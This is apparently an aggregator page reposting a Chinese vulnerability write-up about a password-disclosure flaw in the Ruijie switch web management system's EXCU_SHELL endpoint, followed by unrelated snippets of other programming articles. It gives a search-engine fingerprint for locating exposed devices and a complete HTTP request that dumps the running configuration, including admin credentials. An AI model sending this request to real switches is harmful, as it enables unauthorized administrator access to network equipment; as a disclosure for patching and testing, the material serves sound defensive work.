当前位置：首页 > news >正文

锐捷交换机WEB管理系统EXCU_SHELL密码信息泄漏漏洞

news 文章来源：https://blog.csdn.net/qq_33331244/article/details/132852679 2025/2/1 2:54:29

一、漏洞简介

锐捷交换机 WEB 管理系统 EXCU_SHELL存在密码信息泄露漏洞，攻击者可从漏洞获取到管理员账号密码，从而以管理员权限登录。

二、影响版本

锐捷交换机 WEB 管理系统

三、资产测绘

hunterweb.body="img/free_login_ge.gif"&&web.body="./img/login_bg.gif"
登录页面

四、漏洞复现

GET /EXCU_SHELL HTTP/1.1
Cmdnum: 1
Command1: show running-config
Confirm1: n
User-Agent: Java/1.8.0_381
Host: xx.xx.xx.xx
Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2
Connection: close

在这里插入图片描述使用获取的账号密码成功登录系统

锐捷交换机WEB管理系统EXCU_SHELL密码信息泄漏漏洞

一、漏洞简介锐捷交换机 WEB 管理系统 EXCU_SHELL存在密码信息泄露漏洞，攻击者可从漏洞获取到管理员账号密码，从而以管理员权限登录。二、影响版本锐捷交换机 WEB 管理系统三、资产测绘 hunterweb.body"img/free_login_ge.gif"&&…...

编程日记 2023/9/15 8:55:15

线性代数(六) 线性变换

前言《线性空间》定义了空间，这章节来研究空间与空间的关联性函数函数是一个规则或映射，将一个集合中的每个元素（称为自变量）映射到另一个集合中的唯一元素（称为因变量）。一般函数从 “A” 的每个元…...

编程日记 2023/9/15 8:52:13

Python基础运算分享

Python的运算符和其他语言类似 （我们暂时只了解这些运算符的基本用法，方便我们展开后面的内容，高级应用暂时不介绍） 数学运算 >>>print 19 # 加法>>>print 1.3-4 # 减法>>>print 3*5 …...

编程日记 2023/9/15 8:50:10

【MySQL】mysql中有哪几种类型的备份技术？它们各自有什么优缺点？

为什么要备份？备份类型（从类型的角度）备份技术（从技术手段的角度）不同备份方法的比较感谢 💖 为什么要备份？ 数据库或它所在的平台可能会出现问题，这时候数据库中的数据可能就遭到了…...

编程日记 2023/9/15 8:49:09

5基于pytorch的多目标粒子群算法，MOPSO,引导种群逼近真实Pareto前沿，算法运行结束后将外部存档中粒子作为获得的Pareto最优解近似。

基于pytorch的多目标粒子群算法，MOPSO,引导种群逼近真实Pareto前沿，算法运行结束后将外部存档中粒子作为获得的Pareto最优解近似。程序已调通，可以直接运行。 5pytorch多目标粒子群算法最优解5pytorch多目标粒子群算法最优解 (xiaohongshu.co…...

编程日记 2023/9/15 8:46:06

002 Linux 权限

前言本文将会向您介绍关于linux权限方面的内容，包括文件类型，如何切换用户、基本权限、粘滞位等等 Linux具体的用户超级用户：可以再linux系统下做任何事情，不受限制普通用户：在linux下做有限的事情。超级用户的…...

编程日记 2023/9/15 8:45:05

【Java 基础篇】Java可变参数：灵活处理不定数量的方法参数

在Java编程中，可变参数是一项强大的功能，它允许你编写更加灵活的方法，接受不定数量的参数。本文将详细解释Java可变参数的用法、语法以及最佳实践。什么是可变参数？ 可变参数是Java 5引入的一项功能，它允许你在方法…...

编程日记 2023/9/15 8:43:03

“网站建设流程详解：从概念到上线的每个细节“

以下是网站建设流程的详细步骤，从概念到上线的每个细节： 确定网站目标和定位：明确网站的主题和目标，根据目标受众和市场定位来决定网站的内容和设计风格。考虑网站的目的、目标受众、行业或领域等方面，以及网站的定位…...

编程日记 2023/9/15 8:42:02

DC/DC开关电源学习笔记（七）低压大电流DC/DC变换技术

低压大电流DC/DC变换技术 1. 无暂态要求的低压大电流DC/DC变换技术2. 负载极其快速变化的低压大电流DC/DC变换技术2.1 非隔离型 VRM2.2 隔离型VRM低压大电流高功率 DC/DC 变换技术,已从前些年的 3.3V 降至现在的 1.0V 左右,电流目前已可达到几十安至几百安。同时,电源的输出指标…...

编程日记 2023/9/15 8:40:00

XUbuntu22.04之查找进程号pidof、pgrep总结(一百九十)

简介： CSDN博客专家，专注Android/Linux系统，分享多mic语音方案、音视频、编解码等技术，与大家一起成长！ 优质专栏：Audio工程师进阶系列【原创干货持续更新中……】🚀 人生格言： 人生…...

编程日记 2023/9/15 8:38:59

BI与数据治理以及数据仓库有什么区别

你可能已经听说过BI、数据治理和数据仓库这些术语，它们在现代企业中起着重要的作用。虽然它们都与数据相关，但它们之间有着明显的区别和各自独特的功能。数聚将详细探讨BI（商业智能）、数据治理和数据仓库之间的区别，帮…...

编程日记 2023/9/15 8:37:58

java---jar详解

一、help C:\Users\lichf1>jar 用法: jar {ctxui}[vfmn0PMe] [jar-file] [manifest-file] [entry-point] [-C dir] files ... 选项:-c 创建新档案-t 列出档案目录-x 从档案中提取指定的 (或所有) 文件-u 更新现有档案-v 在标准输出中生成详细输出-f 指定档案文件名-m…...

编程日记 2023/9/15 8:35:56

uni-app 新增微信小程序之新版隐私协议

一、manifest.json中配置 "__usePrivacyCheck__": true 二、编写封装后的组件 <template><view class"privacy" v-if"showPrivacy"><view class"content"><view class"title">隐私保护指引</…...

编程日记 2023/9/15 8:32:53

nbcio-boot移植到若依ruoyi-nbcio平台里一formdesigner部分（四）

到目前为止，虽然基础的formdesigner部分已经完成，但流程用formdesigner提交与审批过程中的显示还有问题。 1、后端部分其中FormConf修改如下： package com.ruoyi.flowable.core;import lombok.Data;import java.util.List; import java.uti…...

编程日记 2023/9/15 8:28:50

公交查询系统

目录需求分析 1 概述 2 课题分析 3 实现功能步骤 4 项目背景概要设计 1 系统流程图. 2 功能模块. 3 各功能模块 4 数据存储 5 类设计三、详细设计 1公交线路查询系统用户界面 2公交信息存储模快 3公交信息查询模块 4用户信息输入和输出模块四、调试分析五、使用说明六、…...

编程日记 2023/9/15 8:25:47

opencv 轮廓顶点重新排序----四边形

def reorder(myPoints):# print(myPoints.shape)# 创建一个与myPoints具有相同形状和类型的数组myPointsNew np.zeros_like(myPoints)# 数组重塑为一个4行2列的数组myPoints myPoints.reshape((4,2))# 计算myPoints数组中每一行（即每个点）的坐标和add …...

编程日记 2023/9/15 8:24:46

【项目实战】【已开源】USB2.0 HUB 集线器的制作教程（详细步骤以及电路图解释）

写在前面本文是一篇关于 USB2.0 HUB 集线器的制作教程，包括详细的步骤以及电路图解释。本文记录了笔者制作 USB2.0 HUB 集线器的心路历程，希望对你有帮助。本文以笔记形式呈现，通过搜集互联网多方资料写成，非盈利性质&#xf…...

编程日记 2023/9/15 8:22:44

分布式运用之rsync远程同步

一、rsync的相关知识 1.1 rsync简介 rsync（Remote Sync，远程同步）是一个开源的快速备份工具，可以在不同主机之间镜像同步整个目录树，支持增量备份，并保持链接和权限，且采用优化的同步算法&am…...

编程日记 2023/9/15 8:20:42

誉天在线项目~ElementPlus实现浏览页面注意点

浏览按钮点击浏览按钮，传递列表数据索引值。根据索引值从列表数据数组中获取当前行数据。 <el-button click"toView(scope.$index)" type"success" size"small"><el-icon><EditPen /></el-icon> 浏览<…...

编程日记 2023/9/15 8:17:39

pytorch神经网络基础 torch简介 torch和numpy import torch import numpy as np np_datanp.arange(6).reshape((2,3)) torch_datatorch.from_numpy(np_data) tensor2arraytorch_data.numpy() print(np_data,"\n",torch_data,"\n",tensor2array)torch的数…...

编程日记 2023/9/15 8:16:38

uniapp vue 页面传参问题encodeURIComponent

页面传参objet json序列化后可能会报错 Uncaught SyntaxError: missing ) after argument list 但不一定是数据有问题，而是json成字符串后，字符串中有特殊字符，所以导致parse的时候格式不对。所以解决方案如下如果传递参数为对象的时候&…...

编程日记 2023/9/15 8:15:36

【GDAL】tif影像拼接和目标截取

编程日记 2023/9/15 8:13:34

ARM核心时间线

指令集架构处理器家族(ARM RISC)ARMv1ARM1ARMv2ARM2、ARM3ARMv3ARM6、ARM7ARMv4StrongARM、ARM7TDMI、ARM9TDMIARMv5ARM7EJ、ARM9E、ARM10E、XScaleARMv6ARM11、ARM Cortex-MARMv7ARM Cortex-A、ARM Cortex-M、ARM Cortex-RARMv8-A armv8.2Cortex-A35、Cortex-A50系列[18]、Cor…...

编程日记 2023/9/15 8:12:33

【Redis】深入探索 Redis 的数据类型 —— 列表 List

文章目录一、List 类型介绍二、List 类型相关命令2.1 LPUSH 和 RPUSH、LPUSHX 和 RPUSHX2.2 LPOP 和 RPOP、BLPOP 和 BRPOP2.3 LRANGE、LINDEX、LINSERT、LLEN2.4 列表相关命令总结三、List 类型内部编码3.1 压缩列表（ziplist）3.2 链表（lin…...

编程日记 2023/9/15 8:11:32

高精度乘除法（超详细）

高精度乘除法（超详细） 题目1-高精度乘法给定两个非负整数（不含前导 0） A 和 B，请你计算 AB 的值。输入格式共两行，第一行包含整数 A，第二行包含整数 B。输出格式共一行，包含…...

编程日记 2023/9/15 8:10:31

List 获取前N条数据

1.使用for循环遍历 public static void main(String[] args) {int limit 5;List<Integer> oldList Lists.newArrayList(1, 2, 3, 4, 5, 6, 7);List<Integer> newList Lists.newArrayList();if (oldList.size() < limit) {newList.addAll(oldList);return;}fo…...

编程日记 2023/9/15 8:09:30

Spring入门控制反转(或依赖注入)AOP的关键概念多配置文件与web集成

目录 1. 什么是spring，它能够做什么? 2. 什么是控制反转(或依赖注入) 3. AOP的关键概念 4. 示例 4.1 创建工程 4.2 pom文件 4.3 spring配置文件 4.4 示例代码 4.4.1 示例1 4.4.2 示例2 （abstract，parent示例） 4.4.3 使…...

编程日记 2023/9/15 8:08:29

排序算法-希尔排序

属性 1. 希尔排序是对直接插入排序的优化。 2. 当gap > 1时都是预排序，目的是让数组更接近于有序。当gap 1时，数组已经接近有序的了，这样就会很快。这样整体而言，可以达到优化的效果。我们实现后可以进行性能测试的对比。 3.…...

编程日记 2023/9/15 8:07:28

ClientDataSet运行中出现“ClientDataSet：dataset not in edit or insert mode”（一）

在打开数据表文件，对ClientDataSet执行Append或Insert时，“ClientDataSet：dataset not in edit or insert mode”： 一、搜索问题 1、执行“显示数据后”，再执行Append，出错，说明ClientDataSet处…...

编程日记 2023/9/15 8:06:27

华为GaussDB数据库

Gauss数据库初识_高斯数据库_ygpGoogle的博客-CSDN博客 Redhat 7.6安装GaussDB_100_1.0.1详细攻略_gaussdb_100_1.0.1-database-redhat-64bit.tar.gz dow_博德1999的博客-CSDN博客 https://www.ngui.cc/el/3381579.html?actiononClick 初识GaussDB——GaussDB的发展历程、部…...

编程日记 2023/9/15 8:05:26

中国建设银行网站会员用户名/绍兴seo排名收费

IOC：inverse of control 控制反转 DI：Dependency inject 依赖注入解释：高层模块(控制层)不应该依赖你低层模块，两者都应该依赖其抽象。server不需要知道具体的实现，只需要知道接口（面向接口编程&#xff…...

编程日记 2025/1/31 23:21:09

wordpress分权限浏览器/seo工具优化软件

“现在大部分的矿池都是在用我们当初开源的那套代码，包括前10名里也有不少。所以这个决定是很好的。只是后来给我们自己创业造成了一些麻烦，过多的竞争对手（笑）。”文 | 黄雪姣运营 | 盖遥编辑 | Mandy王梦蝶出品 | Odaily星球…...

编程日记 2025/1/31 19:40:02

旅游建设网站/百度关键词怎么做

我们在开发时，经常需要重复编写很多和业务无关的代码，比如获取指定日期对象、获取本机 IP 地址、校验身份证号、数据加密等。通常我们会把这些代码独立出来，放到 util 包下，作为工具类供其他代码调用。相信每位 Java 开发者都自…...

编程日记 2025/1/31 13:50:34

网站建设书籍资料/企业怎么做好网站优化

在解决问题之前，要先弄懂问题是什么，可以先向面试官阐述自己的思想，有时候可以借助画图的方法来让自己的想法更加直观。题目：请完成一个函数，输入一个二叉树，该函数输出它的镜像。方法：递归调…...

编程日记 2025/1/31 12:04:04

建设银行官方网站注册/app排名优化公司

从测试描述了解到该问题复现概率较高，因此决定刷最新版本后重新抓份log。果然，seek几次就遇到了问题，查看log并定位到最后一次seek的位置，可以明显的看到如下异常打印： //seekto指令 04-30 12:02:08.840 16164 16164 I…...

编程日记 2025/1/31 11:44:04

wordpress图片并列排/百度收录怎么查询

Android中Intent如果要传递类对象，可以通过两种方式实现。方式一：Serializable，要传递的类实现Serializable接口传递对象， 方式二：Parcelable，要传递的类实现Parcelable接口传递对象。 Serializable&am…...

编程日记 2025/1/31 11:24:24

一、漏洞简介

二、影响版本

三、资产测绘

四、漏洞复现

相关文章：